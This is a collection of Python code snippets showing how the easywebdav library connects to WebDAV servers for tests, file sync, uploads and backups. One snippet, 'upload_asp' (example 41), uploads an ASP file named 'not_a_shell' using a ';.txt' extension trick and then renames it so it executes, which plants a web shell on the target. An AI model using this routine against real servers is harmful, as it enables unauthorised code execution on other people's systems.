Ejemplo n.º 1
0
    def setUpClass(self):
        import easywebdav

        shutil.rmtree('./data/tests', ignore_errors=True)
        os.makedirs('./data/tests')

        ctx = run.cli.make_context('test', [
            '--taskdb', 'sqlite+taskdb:///data/tests/task.db',
            '--projectdb', 'sqlite+projectdb:///data/tests/projectdb.db',
            '--resultdb', 'sqlite+resultdb:///data/tests/resultdb.db',
        ], None, obj=utils.ObjectDict(testing_mode=True))
        self.ctx = run.cli.invoke(ctx)

        ctx = run.webui.make_context('webui', [
            '--username', 'binux',
            '--password', '4321',
            '--need-auth',
        ], self.ctx)
        self.app = run.webui.invoke(ctx)
        self.app_thread = utils.run_in_thread(self.app.run)
        time.sleep(5)

        self.webdav = easywebdav.connect('localhost', port=5000, path='dav')
        self.webdav_up = easywebdav.connect('localhost', port=5000, path='dav',
                                            username='******', password='******')
Ejemplo n.º 2
0
    def docopy(self):
        # verify_ssl=True
        if 'http' in self.srcobj.scheme:
            self.log.info("Downloading from web...")
            swd = easywebdav.connect(
                host=self.srcobj.host,
                username=self.srcobj.username,
                port=self.srcobj.port,
                protocol=self.srcobj.scheme,
                password=self.srcobj.password,
            )
            print(swd.exists(self.srcobj.pathfile))
            swd.download(self.srcobj.pathfile, self.dstobj.pathfile)

        elif 'http' in self.dstobj.scheme:
            self.log.info("Uploading to web...")
            dwd = easywebdav.connect(
                host=self.dstobj.host,
                username=self.dstobj.username,
                port=self.dstobj.port,
                protocol=self.dstobj.scheme,
                password=self.dstobj.password,
            )
            print(dwd.exists(self.dstobj.pathfile))
            dwd.upload(self.srcobj.pathfile, self.dstobj.pathfile)
Ejemplo n.º 3
0
    def setUpClass(self):
        import easywebdav

        shutil.rmtree('./data/tests', ignore_errors=True)
        os.makedirs('./data/tests')

        ctx = run.cli.make_context('test', [
            '--taskdb',
            'sqlite+taskdb:///data/tests/task.db',
            '--projectdb',
            'sqlite+projectdb:///data/tests/projectdb.db',
            '--resultdb',
            'sqlite+resultdb:///data/tests/resultdb.db',
        ],
                                   None,
                                   obj=utils.ObjectDict(testing_mode=True))
        self.ctx = run.cli.invoke(ctx)

        ctx = run.webui.make_context('webui', [
            '--username',
            'binux',
            '--password',
            '4321',
        ], self.ctx)
        self.app = run.webui.invoke(ctx)
        self.app_thread = utils.run_in_thread(self.app.run)
        time.sleep(5)

        self.webdav = easywebdav.connect('localhost', port=5000, path='dav')
        self.webdav_up = easywebdav.connect('localhost',
                                            port=5000,
                                            path='dav',
                                            username='******',
                                            password='******')
Ejemplo n.º 4
0
 def init(self):
     if ('cert' in self.settings.keys()):
         self.webdav = easywebdav.connect(
             self.settings['domain'],
             username=self.settings['username'],
             password=self.settings['password'],
             protocol=self.settings['protocol'],
             cert=self.settings['cert'])
     else:
         self.webdav = easywebdav.connect(
             self.settings['domain'],
             username=self.settings['username'],
             password=self.settings['password'],
             protocol=self.settings['protocol'])
Ejemplo n.º 5
0
def retriveVtk(request):

    if request.user.is_authenticated():
        path = request.POST.get('path','')
        if not path:
            path = '/'
        try:
            webdav = easywebdav.connect(settings.LOBCDER_HOST, username='******',
                                        password=request.ticket, protocol='https'
                                        )
            fileName = path.split('/')[-1]
            fileToDownload = os.path.join(settings.LOBCDER_DOWNLOAD_DIR, fileName)
            downloadChunks = webdav.downloadChunks(settings.LOBCDER_ROOT + path)
            #remove file if exists
            if os.path.exists(fileToDownload) and os.stat(fileToDownload)[6] != int(downloadChunks.raw.headers['content-length']):
                os.remove(fileToDownload)

            if not os.path.exists(fileToDownload):
                webdav.download(settings.LOBCDER_ROOT+ path, fileToDownload)

            content = json.dumps({'path': fileName}, sort_keys=False)

            response = HttpResponse(content=content,
                                    content_type='application/json')
            return response

        except Exception, e:
            client.captureException()
            response = HttpResponse(status=500)
            response._is_string = True

            return response
Ejemplo n.º 6
0
    def __init__(self, argv):
        try:
            self.args = dict(urlparse.parse_qsl(sys.argv[2].lstrip('?')))
        except IndexError:
            self.args = {}
        self.plugin_url = argv[0]
        self.addon_handle = int(sys.argv[1])
        self.addon = xbmcaddon.Addon()
        self.davhost = self.addon.getSetting('davhost')
        self.davport = int(self.addon.getSetting('davport'))

        log.info("Configured DAV URL " + self.davhost)
        log.info("Configured DAV port {0}".format(self.davport))

        self.pluginid = self.addon.getAddonInfo('id')

        self.addonname = self.addon.getAddonInfo('name')
        self.dav = easywebdav.connect(self.davhost, port=self.davport)

        self.data_path = os.path.join(
            xbmc.translatePath("special://profile/addon_data/{0}".format(
                self.pluginid)))

        if not xbmcvfs.exists(self.data_path):
            xbmcvfs.mkdirs(self.data_path)

        self.store = KVStore(os.path.join(self.data_path,
                                          "kar_kvstore.sqlite"))
        self.recent = RecentlyPlayed(self.store)

        mediadb_path = self.clone_db()
        self.mediadb = MediaDB(mediadb_path)
Ejemplo n.º 7
0
 def __connect(self):
     # This method does not need a try as this does not actually connect to the internet.
     self.stack = wd.connect(host=self.stack_parameters['host'],
                             protocol='https',
                             verify_ssl=True,
                             username=self.stack_parameters['username'],
                             password=self.stack_parameters['password'])
Ejemplo n.º 8
0
 def __init__(self, server, username, password, webdav_path):
     self.remote_webdav = webdav_path
     self.webdav = easywebdav.connect(host=server,
                                      username=username,
                                      port=443,
                                      protocol="https",
                                      password=password)
Ejemplo n.º 9
0
def webdav_tranfer():
    webdav = easywebdav.connect(
        host=nasip,
        username='******',
        port=50000,
        protocol="http",
        password='******')
    try:
        print "Webdav start uploadn & download......"
        web_cd = webdav.cd("/f0")
        # print webdav._get_url("")
        # print webdav.ls()
        # print webdav.exists("/dav/test.py")
        # print webdav.exists("ECS.zip")
        # print webdav.download(_file, "./"+_file)
        webdav_upload_status = webdav.upload("E:/service/webdav.txt", "webdav.txt")
        if webdav_upload_status == None:
            print "webdav upload success"
        else:
            print "webdav upload fail!!"
        webdav_download_status = webdav.download('/f0/webdav.txt',
                                                 'C:/Users/N269-01/Desktop/service_download/webdav.txt')
        if webdav_download_status == None:
            print "webdav download success"

        else:
            print "webdav download fail!!"
        return True
    except Exception as error:
        print error
        return False
Ejemplo n.º 10
0
 def connect(self):
     self.webdav = easywebdav.connect(self.baseurl,
                                      username=self.auth.user,
                                      password=self.auth.passw,
                                      protocol=self.proto)
     #change directory
     self.webdav.cd(self.direc)
Ejemplo n.º 11
0
def owncloud(request):
        user = request.POST.get('owncloud_user', '')
        password = request.POST.get('owncloud_pass', '')
        owncloud_dir = request.POST.get('owncloud_dir', '')
        global webdav
        webdav = easywebdav.connect(owncloud_dir , username=user, password = password, protocol='http', port=8080, verify_ssl=False)
        response = connect.create_folder('owncloud'+ '_'+ user , '0', request.session['access_token_key'], request.session['access_token_secret'])
        if response.content != 'Folder already exists.':
            json_dict = json.loads(response.content)
            parent = str(json_dict['id'])
        else:
            response = connect.metadata('0', request.session['access_token_key'], request.session['access_token_secret'])
            for attr in response:
                if attr.name == 'owncloud'+ '_'+ user:
                    parent = str(attr.file_id)
        for f in webdav.ls("/remote.php/webdav/"):
            if (f.name == '/remote.php/webdav/') == False:
                if(f.contenttype == ''):
                    create_folders_owncloud(request, f, parent)
                else:
                    fsock = open('prueba', "w", 0)
                    webdav.download(f.name, fsock)
                    fsock = open('prueba', "r", 0)
                    nameSplit = f.name.replace('/remote.php/webdav/', '').replace('%20', ' ').split('/')
                    name = nameSplit[len(nameSplit)-1]
                    response = connect.metadata(parent, request.session['access_token_key'], request.session['access_token_secret'])
                    upload = True
                    for attr in response:
                        if attr.name == name:
                            upload = False
                        if upload:       
                            connect.upload_file(name, request, fsock, parent ,request.session['access_token_key'], request.session['access_token_secret'])
        global owncloud_loaded
        owncloud_loaded = True
        return HttpResponseRedirect('/')
Ejemplo n.º 12
0
    def __init__(self, argv):
        try:
            self.args = dict(urlparse.parse_qsl(sys.argv[2].lstrip('?')))
        except IndexError:
            self.args = {}
        self.plugin_url = argv[0]
        self.addon_handle = int(sys.argv[1])
        self.addon = xbmcaddon.Addon()
        self.davhost = self.addon.getSetting('davhost')
        self.davport = int(self.addon.getSetting('davport'))

        log.info("Configured DAV URL " + self.davhost)
        log.info("Configured DAV port {0}".format(self.davport))


        self.pluginid = self.addon.getAddonInfo('id')

        self.addonname = self.addon.getAddonInfo('name')
        self.dav = easywebdav.connect(self.davhost, port=self.davport)

        self.data_path = os.path.join(xbmc.translatePath("special://profile/addon_data/{0}".format(self.pluginid)))

        if not xbmcvfs.exists(self.data_path):
            xbmcvfs.mkdirs(self.data_path)

        self.store = KVStore(os.path.join(self.data_path, "kar_kvstore.sqlite"))
        self.recent = RecentlyPlayed(self.store)

        mediadb_path = self.clone_db()
        self.mediadb = MediaDB(mediadb_path)
Ejemplo n.º 13
0
def attach_file_test(html_,path_data):
	import easywebdav
	a=webnotes.conn.sql("select value from `tabSingles` where doctype='LDAP Settings' and field='dms_server'",as_list=1)
        if a:
                webdav = easywebdav.connect(a[0][0],username='******',password='******')
		import io
                name=path_data[0]
                path=cstr(path_data[0]).replace("/","")
                f = io.open("files/"+path+".html", 'w', encoding='utf8')
                f.write(html_)
                f.close()

                s=auth()
                if s[0]=="Done":
                        dms_path=webnotes.conn.sql("select value from `tabSingles` where doctype='LDAP Settings' and field='dms_path'",as_list=1)
                        check_status=webnotes.conn.sql("select file_url from `tabFile Data` where file_url='"+dms_path[0][0]+path_data[1]+"/"+path+".html"+"'",as_list=1)
                        if not check_status:
				webdav.upload("files/"+path+".html",'/doxbox/OwlWebDav/index.php/'+path_data[1]+"/"+path+".html")
                                file_attach=Document("File Data")
                                file_attach.file_name="files/"+path+".html"
                                file_attach.attached_to_doctype=path_data[2]
                                file_attach.file_url=dms_path[0][0]+path_data[1]+"/"+path+".html"
                                file_attach.attached_to_name=name
                                file_attach.save()
                                os.remove("files/"+path+".html")
                                return "File Save Sucessfully"
                        else:
                                return "File Already Exist"
                else:
                        return s[1]
        else:
                return ["Error","Server is not defined"]
Ejemplo n.º 14
0
def dupload(remotedir, archive):

    o = urlparse(remotedir)

    # Start off by creating a client object. Username and
    # password may be omitted if no authentication is needed.
    webdav = easywebdav.connect(
        o.hostname, protocol=o.scheme
    )  # protocol='https') # , username='******', password='******')

    updir = o.path
    try:
        webdav.mkdir(updir)
    except easywebdav.client.OperationFailed:
        pass

    #webdav.rmdir('another_dir')
    # webdav.download('remote/path/to/file', 'local/target/file')

    remotePath = updir + os.path.basename(archive)
    if webdav.exists(remotePath):
        print('Already exists on remote:{}'.format(remotePath))
        exit(1)

    webdav.upload(archive, remotePath)
Ejemplo n.º 15
0
def download_newest(glob_url, encoding=None):
    try:
        import easywebdav
    except ImportError:
        fatal('Please install the missing dependency: pip3 install easywebdav')

    protocol, _rest = glob_url.split('://', 1)
    domain_name, path_glob = _rest.split('/', 1) if '/' in _rest else (_rest, '')
    path_glob = '/' + path_glob
    directory = path_glob if path_glob.endswith('/') else path_glob.rsplit('/', 1)[0]

    c = easywebdav.connect(domain_name, protocol=protocol)

    matching_item = None
    for item in sorted(c.ls(directory), key=lambda x: x.ctime, reverse=True):
        if item.name.strip('/') == directory.strip('/'):
            continue
        if fnmatch.fnmatch(item.name, path_glob):
            matching_item = item
            break

    if not matching_item:
        raise DrwatsonException('No entry at WebDAV %r', glob_url)

    return download('%s://%s%s' % (protocol, domain_name, matching_item.name), encoding=encoding)
def uploadImageFromZip(zipUrl, partNumber, productID):
    print "Downloading image for %s" % partNumber
    urllib.urlretrieve(zipUrl, "temp.zip")

    print "Extracting image for %s" % partNumber

    with ZipFile("temp.zip", "r") as z:
        images = z.namelist()
        z.extractall()

    # Connect to webdav
    webdav = easywebdav.connect(webdavUrl, path="dav", auth=HTTPDigestAuth(webdavUsername, webdavPassword),
                                protocol="https")

    # Check for import folder
    if not webdav.exists("product_images/import"):
        webdav.mkdir("product_images/import")

    print "Uploading images for %s" % partNumber
    for image in images:
        webdav.upload(image, "product_images/import/%s" % image)
        # Create the image
        bcapi.ProductImages.create(productID, image_file=image)

        print "Removing file: %s" % image
        os.remove(image)
    os.remove("temp.zip")
Ejemplo n.º 17
0
def save2edo(alias, sourcename):
    import easywebdav
    mailbox = easywebdav.connect('edo.91office.com',
               username='******', password='******')
    mailbox.cd('/files/mailbox')
    filepath = sourcename.replace(mailboxdir + '/', '').encode('utf-8')
    for filedir in filepath.split('/')[:-1]:
        try:
            mailbox.mkdir(filedir)
        except:
            errinfo = "".join(traceback.format_exception(*sys.exc_info()))
            if '404' in errinfo:
                log.error(u'save2edo [%s] error: %s', alias, errinfo.decode('utf-8'))
            pass
        mailbox.cd(filedir)

    filename = sourcename.split('/')[-1].encode('utf-8')
    try:
        mailbox.upload(sourcename, filename)
        url = "http://edo.91office.com%s%s/@@@zopen.91email.chmod?alias=%s" \
              %(mailbox.cwd.decode('utf-8'), filename, alias)
        res = mailbox.session.request('GET', url)
        return res.text
    except:
        errinfo = "".join(traceback.format_exception(*sys.exc_info()))
        log.error(u'save2edo [%s] error: %s', alias, errinfo.decode('utf-8'))
        pass
Ejemplo n.º 18
0
 def session(self, session):
     self._session = session
     self.davclient = easywebdav.connect(self.hostname,
                                         protocol='https',
                                         session=session,
                                         path="cloud",
                                         verify_ssl=VERIFY_SSL)
Ejemplo n.º 19
0
def _do_windows_check():
    import easywebdav

    hostname = 'files.zubax.com'
    directory = 'products/org.uavcan.gui_tool'
    # Some people, when confronted with a problem, think: "I know, I WON'T use regular expressions."
    # Now they have two problems.
    regex = r'(?i).*?gui.?tool.+?(\d+\.\d+).*?\.\w\w\w$'

    con = easywebdav.connect(hostname, protocol='https')
    items = con.ls(directory)
    logger.debug('Available items: %r', items)

    matches = []    # path, version tuple

    for it in items:
        if directory.strip('/') == it.name.strip('/'):
            continue
        name = it.name.split('/')[-1]
        version_match = re.match(regex, name)
        if version_match:
            version_tuple = [int(x) for x in version_match.group(1).split('.')]
            matches.append((it.name, version_tuple))

    matches = list(sorted(matches, key=lambda x: _version_tuple_to_int(x[1]), reverse=True))
    logger.debug('Matches: %r', matches)

    if len(matches) > 0:
        newest = matches[0]
        if _version_tuple_to_int(newest[1]) > _version_tuple_to_int(__version__):
            url = 'https://' + hostname + newest[0]
            return '<a href="{0}">{0}</a>'.format(url)
Ejemplo n.º 20
0
def uploadImageFromZip(zipUrl, partNumber, productID):
    print "Downloading image for %s" % partNumber
    urllib.urlretrieve(zipUrl, "temp.zip")

    print "Extracting image for %s" % partNumber

    with ZipFile("temp.zip", "r") as z:
        images = z.namelist()
        z.extractall()

    # Connect to webdav
    webdav = easywebdav.connect(webdavUrl,
                                path="dav",
                                auth=HTTPDigestAuth(webdavUsername,
                                                    webdavPassword),
                                protocol="https")

    # Check for import folder
    if not webdav.exists("product_images/import"):
        webdav.mkdir("product_images/import")

    print "Uploading images for %s" % partNumber
    for image in images:
        webdav.upload(image, "product_images/import/%s" % image)
        # Create the image
        bcapi.ProductImages.create(productID, image_file=image)

        print "Removing file: %s" % image
        os.remove(image)
    os.remove("temp.zip")
Ejemplo n.º 21
0
    def connectWebDAV_and_Backupfiles_toS3(self):
        self.logprint("Connecting to WebDAV Instance '%s'" % self.webDavHostname, "INFO")
        self.webdav = easywebdav.connect(self.webDavHostname,
                                         username=self.webDAVuserID,
                                         password=self.webDAVpassword,
                                         protocol='https')
        self.logprint("Inspecting File Path:  '%s'" % self.webDavPath, "INFO")
        self.returnFileList = self.webdav.ls(self.webDavPath)
        self.logprint("Locating FileType:  '%s'" % self.webDavFileType, "INFO")
        self.returnFileListSelected = [x for x in self.returnFileList if self.webDavFileType in x.contenttype]
        self.dirpath = tempfile.mkdtemp()
        self.logprint("Creating Directory '%s'" % (self.dirpath), 'DEBUG')
        for webdavfile in self.returnFileListSelected:
            webdavfileName = webdavfile.name.rsplit('/', 1)[1]
            self.logprint("Discovered: '%s' size '%s' Modified_Time '%s' '" % (
                webdavfileName, self.sizeof_fmt(webdavfile.size), webdavfile.mtime), 'INFO')
            if webdavfileName in self.S3CurrentBackupList:
                self.logprint("Is Present in S3 as '%s:%s%s'" % (self.S3BucketName, self.S3BucketPath, webdavfileName),
                              'INFO')
            else:
                self.logprint("'%s' Backup is New!!" % (webdavfileName), 'INFO')
                self.logprint("saving to %s/%s" % (self.dirpath, webdavfileName), 'INFO')
                self.webdav.download(self.webDavPath + webdavfileName,
                                     self.dirpath + "/" + webdavfileName)
                self.logprint("Uploading as '%s:%s%s'" % (self.S3BucketName, self.S3BucketPath, webdavfileName), 'INFO')
                self.upload_file_to_S3_bucket(webdavfileName)
                self.logprint("Removing to %s/%s" % (self.dirpath, webdavfileName), 'INFO')
                os.remove(self.dirpath + '/' + webdavfileName)
        self.logprint("Removing Directory '%s'" % (self.dirpath), 'DEBUG')
        shutil.rmtree(self.dirpath)

        return retcode, errormsgs
Ejemplo n.º 22
0
 def _dav(self):
     return easywebdav.connect(
         protocol=self.source_url.scheme,
         host=self.source_url.hostname,
         username=self.source_url.username,
         password=self.source_url.password,
         path=self.base_path.strip("/"),
     )
Ejemplo n.º 23
0
 def __init__(self, database, client=None, **kwargs):
     super(SaveAttachmentsFilter, self).__init__(database, **kwargs)
     if not client:
         self.client = easywebdav.connect(self.host, username=self.username,
                                          password=self.password,
                                          protocol=self.protocol)
     else:
         self.client = client
Ejemplo n.º 24
0
 def __init__(self, cloud):
     # Connect to WebDav
     self.w = easywebdav.connect(
         cloud['host'],
         port=cloud['port'],
         protocol=cloud['protocol'],
         username=cloud['username'],
         password=cloud['password'])
Ejemplo n.º 25
0
 def __init__(self, root, host, login, password):
     import easywebdav
     self.root_dir = root
     protocol, _, host = host.partition('://')
     self.client = easywebdav.connect(host,
                                      username=login,
                                      password=password,
                                      protocol=protocol)
Ejemplo n.º 26
0
 def _dav(self):
     return easywebdav.connect(
         protocol=self.source_url.scheme,
         host=self.source_url.hostname,
         username=self.source_url.username,
         password=self.source_url.password,
         path=self.base_path.strip('/'),
     )
 def __init__(self, provider):
     self.provider = easywebdav.connect(
         DOMAIN,
         protocol='http',
         path='/'.join([PATH, provider]),
         port=5000,
         username="******",
         password='******',
     )
 def __init__(self, provider):
     self.provider = easywebdav.connect(
         DOMAIN,
         protocol='http',
         path='/'.join([PATH, provider]),
         port=5000,
         username="******",
         password='******',
     )
Ejemplo n.º 29
0
 def __init__(self, host, protocol, path, username, password):
     self.host = host # 'b2drop.fz-juelich.de'
     self.protocol = protocol # 'https'
     if not path.endswith('/'):
         path += '/'
     self.path = path # '/remote.php/webdav/'
     self.rpath = self.path + '.'
     self.client = easywebdav.connect(self.host, \
         protocol=self.protocol, path=self.path, \
         username=username, password=password)
Ejemplo n.º 30
0
 def __init__(self, username, password, working_dir, check_conn=True):
     if not working_dir.startswith('/'):
         working_dir = '/' + working_dir
     self.username = username
     self.np = PathHelper(start=working_dir)
     self._client = easywebdav.connect(self.api,
                                       username=username,
                                       password=password)
     if check_conn:
         self.check_conn()
Ejemplo n.º 31
0
 def connect_webdav(self):
     """Connect to a WebDAV host."""
     try:
         webdav = easywebdav.connect(self.dav_cred['url'],
                                     username=self.dav_cred['user'],
                                     password=self.dav_cred['password'],
                                     protocol=self.dav_cred['protocol'])
         return webdav
     except Exception as err:
         print("Error during WebDAV connection: " + str(err))
         return False
def copy_to_datafeed(file):

    webdav = easywebdav.connect(host='datafeeds.na.dir.mmallick.com',
                                username=user,
                                port='443',
                                protocol='https',
                                password=password,
                                verify_ssl="C:/pyth/mmallick.pem")

    _file = '/pub-dev/' + file.split('/')[-1]

    webdav.upload(file, _file)
Ejemplo n.º 33
0
 def login(self, *args):
     argparse_namespace = args[0]
     url_components = urlparse(argparse_namespace.server)
     host, port = url_components.netloc.split(':')
     webdav_client = easywebdav.connect(
         host=host,
         port=port,
         path=url_components.path,
         username=argparse_namespace.user,
         password=argparse_namespace.password
     )
     pickle.dump(webdav_client, open('webdav_login', 'wb'))
Ejemplo n.º 34
0
 def __init__(self, cude_id):
     """
     Args:
         cube_id(int): id куба
     """
     self.cube_id = cude_id
     self.connect = xmla.XMLAProvider().connect(location=XMLA_URL)
     self.webdav = easywebdav.connect(host=settings.OLAP_SERVER_HOST,
                                      port=settings.OLAP_SERVER_PORT,
                                      path=REPOSITORY_PATH,
                                      username=settings.OLAP_SERVER_USER,
                                      password=settings.OLAP_SERVER_PASS)
Ejemplo n.º 35
0
Archivo: pierc.py Proyecto: dlech/pierc
    def __init__(self, server, port, channel, nick, password, username,
                 ircname, topic, localaddress, localport, ssl, ipv6,
                 mysql_server, mysql_port, mysql_database,
                 mysql_user, mysql_password, webdav_settings):

        irclib.SimpleIRCClient.__init__(self)

        # IRC details
        self.server = server
        self.port = port
        self.target = channel
        self.channel = channel
        self.nick = nick
        self.password = password
        self.username = username
        self.ircname = ircname
        self.topic = topic
        self.localaddress = localaddress
        self.localport = localport
        self.ssl = ssl
        self.ipv6 = ipv6

        # MySQL details
        self.mysql_server = mysql_server
        self.mysql_port = mysql_port
        self.mysql_database = mysql_database
        self.mysql_user = mysql_user
        self.mysql_password = mysql_password

        # webdav
        self.webdav = easywebdav.connect(webdav_settings['host'],
                                         port=int(webdav_settings.get('port', 0)),
                                         username=webdav_settings['username'],
                                         password=webdav_settings['password'],
                                         protocol=webdav_settings['protocol'],
                                         verify_ssl=bool(webdav_settings.get('verify_ssl', 'True') in ['True'])
                                         )
        self.webdav_download_dir = webdav_settings.get('download_dir', '.')

        # Regexes
        self.nick_reg = re.compile("^" + nick + "[:,]\s*(.*)")

        # Message Cache
        self.message_cache = []  # messages are stored here before getting pushed to the db

        # Disconnect Countdown
        self.disconnect_countdown = 5

        self.last_ping = 0
        self.ircobj.delayed_commands.append((time.time() + 5, self._no_ping, []))

        self.connect(self.server, self.port, self.nick, self.password, self.username, self.ircname, self.localaddress,
                     self.localport, self.ssl, self.ipv6)
def get_newest_entry_path():
    wd = easywebdav.connect(
        'localhost',
        username='******',
        password=webdavPassword,
        port=8080,
        auth_mode=easywebdav.AUTH_MODE_DIGEST,
    )
    html_path = os.path.join('/', repository, 'HTML')
    wd.cd(quote(html_path))
    files = sorted([os.path.basename(x.name) for x in wd.ls()])
    return os.path.join('/HTML', files[-1])
Ejemplo n.º 37
0
def connect_webdav(url, username, password, directory, cert=None):
    """
    Connect to the WebDav server and return a client
    """
    urlparts = urlparse.urlparse(url)
    client = easywebdav.connect(urlparts.netloc,
                                username=username,
                                password=password,
                                protocol=urlparts.scheme,
                                cert=cert)
    client.cd('/')
    return client
Ejemplo n.º 38
0
 def validate(self):
     is_valid = super(LoginForm, self).validate()
     if is_valid:
         webdav = easywebdav.connect(
             dav_host,
             username=self.username.data,
             password=self.password.data
         )
         try:
             webdav.ls(dav_path)
         except:
             is_valid = False
     return is_valid
Ejemplo n.º 39
0
Archivo: utils.py Proyecto: h4/bicycles
def sendToRemote(dirname, url, baseurl=None, username="******", password="******", scheduled="6"):
    today = date.today()
    if str(today.weekday()) not in scheduled:
        return

    fname = sortFile(dirname)[0]
    client = easywebdav.connect(url, username=username, password=password)
    if baseurl is not None:
        client.baseurl = baseurl
    try:
        client.upload(fname, fname)
    except easywebdav.WebdavException as e:
        pass
Ejemplo n.º 40
0
    def connect(self):
        webdav_conf = current_app.config['WEBDAV_SERVER']
        
        if webdav_conf == 'empty':
            raise Exception('WEBDAV_SERVER is not configured')

        webdav = easywebdav.connect(host=webdav_conf['host'], 
                                    username=webdav_conf['username'], 
                                    password=webdav_conf['password'],
                                    protocol=webdav_conf['protocol'], 
                                    port=webdav_conf['port'], 
                                    verify_ssl=webdav_conf['verify_ssl'])
        return webdav
Ejemplo n.º 41
0
def upload_asp(TARGET):

	# create a webdav object
	print "[*] Connecting to %s" % TARGET
	webdav = easywebdav.connect(TARGET)
	# upload the file
	print "[*] Uploading payload to %s" % TARGET
	try:
		webdav.upload("not_a_shell.asp", "not_a_shell.asp;.txt")
		# use different client to move file
		options = {'webdav_hostname': TARGET}
		client = wc.Client(options)
		client.move(remote_path_from="not_a_shell.asp;.txt", remote_path_to="not_a_shell.asp")
	except:
		# if move fails try copy
		print "[*] Encountered an error"
		print "[*] Adjusting payload"
		webdav = easywebdav.connect(TARGET)
		webdav.upload("not_a_shell.asp", "not_a_shell.txt")
		options = {'webdav_hostname': TARGET}
		client = wc.Client(options)
		client.copy(remote_path_from="not_a_shell.txt", remote_path_to="not_a_shell.asp;.txt")
Ejemplo n.º 42
0
 def __init__(self):
     self.id = settings.ZOTERO_ID
     self.key = settings.ZOTERO_KEY
     self.id_type = settings.ZOTERO_ID_TYPE
     self.refresh_rate = datetime.timedelta(**settings.ZOTERO_REFRESH_RATE)
     self.client = zotero_api.Zotero(self.id, self.id_type, self.key)
     self.webdav_client = easywebdav.connect(settings.WEBDAV_URL,
                                             path=settings.WEBDAV_PATH,
                                             username=settings.WEBDAV_USER,
                                             password=settings.WEBDAV_PASSWORD,
                                             protocol=settings.WEBDAV_PROTOCOL,
                                             verify_ssl=False
                                             )
     self.style= settings.ZOTERO_BIB_STYLE
Ejemplo n.º 43
0
 def __init__(self, root, username, password):
     self.root = root
     o = urlparse(root)
     logging.warning(o)
     logging.warning(o.path)
     self.path = o.path
     self.client = easywebdav.connect(
         host=o.netloc,
         protocol=o.scheme,
         username=username,
         password=password,
     )
     self.username = username
     self.password = password
 def __init__(self, root, username, password):
     self.root = root
     o = urlparse(root)
     logging.warning(o)
     logging.warning(o.path)
     self.path = o.path
     self.client = easywebdav.connect(
         host=o.netloc,
         protocol=o.scheme,
         username=username,
         password=password,
     )
     self.username = username
     self.password = password
Ejemplo n.º 45
0
def ls(mask=None):
    cfg = ConfigFromJSON(section='webdav')
    webdav = connect(cfg.address,
                     username=cfg.get('user'),
                     password=cfg.get('password'),
                     protocol=cfg.get('protocol', 'http'))
    files = webdav.ls(remote_path=cfg.get('root', '.'))
    alldata = list(filter(lambda f: f, [i.name.lstrip(cfg.get('root', '.')) for i in files]))
    if isinstance(mask, str):
        out = list(filter(lambda f: fnmatch(f, mask), alldata))
    else:
        out = alldata

    return [print(i) for i in out] or out
Ejemplo n.º 46
0
def owncloud(request):
    user = request.POST.get('owncloud_user', '')
    password = request.POST.get('owncloud_pass', '')
    owncloud_dir = request.POST.get('owncloud_dir', '')
    global webdav
    webdav = easywebdav.connect(owncloud_dir,
                                username=user,
                                password=password,
                                protocol='http',
                                port=8080,
                                verify_ssl=False)
    response = connect.create_folder('owncloud' + '_' + user, '0',
                                     request.session['access_token_key'],
                                     request.session['access_token_secret'])
    if response.content != 'Folder already exists.':
        json_dict = json.loads(response.content)
        parent = str(json_dict['id'])
    else:
        response = connect.metadata('0', request.session['access_token_key'],
                                    request.session['access_token_secret'])
        for attr in response:
            if attr.name == 'owncloud' + '_' + user:
                parent = str(attr.file_id)
    for f in webdav.ls("/remote.php/webdav/"):
        if (f.name == '/remote.php/webdav/') == False:
            if (f.contenttype == ''):
                create_folders_owncloud(request, f, parent)
            else:
                fsock = open('prueba', "w", 0)
                webdav.download(f.name, fsock)
                fsock = open('prueba', "r", 0)
                nameSplit = f.name.replace('/remote.php/webdav/',
                                           '').replace('%20', ' ').split('/')
                name = nameSplit[len(nameSplit) - 1]
                response = connect.metadata(
                    parent, request.session['access_token_key'],
                    request.session['access_token_secret'])
                upload = True
                for attr in response:
                    if attr.name == name:
                        upload = False
                    if upload:
                        connect.upload_file(
                            name, request, fsock, parent,
                            request.session['access_token_key'],
                            request.session['access_token_secret'])
    global owncloud_loaded
    owncloud_loaded = True
    return HttpResponseRedirect('/')
Ejemplo n.º 47
0
def connect(config, config_filename):
    """
	Connects to server based on .cfg file parameters
	@param config: configparser object
	"""
    config.read(config_filename)
    domain = config.get("Connection", "domain")
    user = config.get("Connection", "username")
    pword = config.get("Connection", "pass")
    proto = "https"  # default? -> maybe better also specify in config file
    dest_path = config.get("Connection", "path")
    # ADD: errors if smth necessary is not there
    # connect to server
    wbdv = easywebdav.connect(domain, username=user, password=pword, protocol=proto, path=dest_path)
    return wbdv
Ejemplo n.º 48
0
def execute():
    # loading global variables
    global config
    global courses

    # connecting to the webdav and instantiating the webdav variable
    webdav = easywebdav.connect(config['server'],
                                username=config['username'],
                                password=config['password'],
                                protocol=config['protocol'])

    # navigating over the list of courses
    for courseid in courses:
        # removal of folders
        webdav.delete(config['path'] + courseid)
Ejemplo n.º 49
0
 def _connect(self, options=None):
     #self._connect = lambda opt: easywebdav.connect(opt)
     self.client = easywebdav.connect(**options)
     self._ls = lambda x: [
         os.path.basename(f[0]) for f in self.client.ls(x)[1:]
     ]  #self.client.ls(x)
     self._ls_dir = lambda x: [
         os.path.basename(os.path.dirname(f[0]))
         for f in self.client.ls(x)[1:] if f[0].endswith('/')
     ]
     self._download = lambda remote_path, local_path: self.client.download(
         remote_path, local_path)
     self._size = lambda x: self.client.ls(x)[0].size
     Logger.info('LOADER: Connected to %s using Webdav protocol' %
                 options['host'])
Ejemplo n.º 50
0
def push(filepath, encrypt=None):
    cfg = ConfigFromJSON(section='webdav')
    webdav = connect(cfg.address,
                     username=cfg.get('user'),
                     password=cfg.get('password'),
                     protocol=cfg.get('protocol', 'http'))
    if encrypt:
        filepath = encrypt_file(filepath)

    filename = op.basename(filepath)
    response = webdav.upload(filepath, op.join(cfg.get("root", "."), filename))
    if 199 < response.status_code < 300 and encrypt:
        os.remove(filepath)

    return response
Ejemplo n.º 51
0
def init():
    global _initialized, _init_failed, _server_process, _server_path, _client
    if _init_failed:
        raise unittest.SkipTest('Test session initialization failed')
    try:
        if _initialized:
            return

        # Create server
        output('Starting WebDAV server')
        _server_path = '/tmp/easywebdav_tests'  #tempfile.mkdtemp()
        if os.path.exists(_server_path):
            shutil.rmtree(_server_path)
        os.makedirs(_server_path)
        process_props = dict(
            args='davserver -D {path} -u {username} -p {password} -P {port}'.
            format(
                path=_server_path,
                username=SERVER_USERNAME,
                password=SERVER_PASSWORD,
                port=SERVER_PORT,
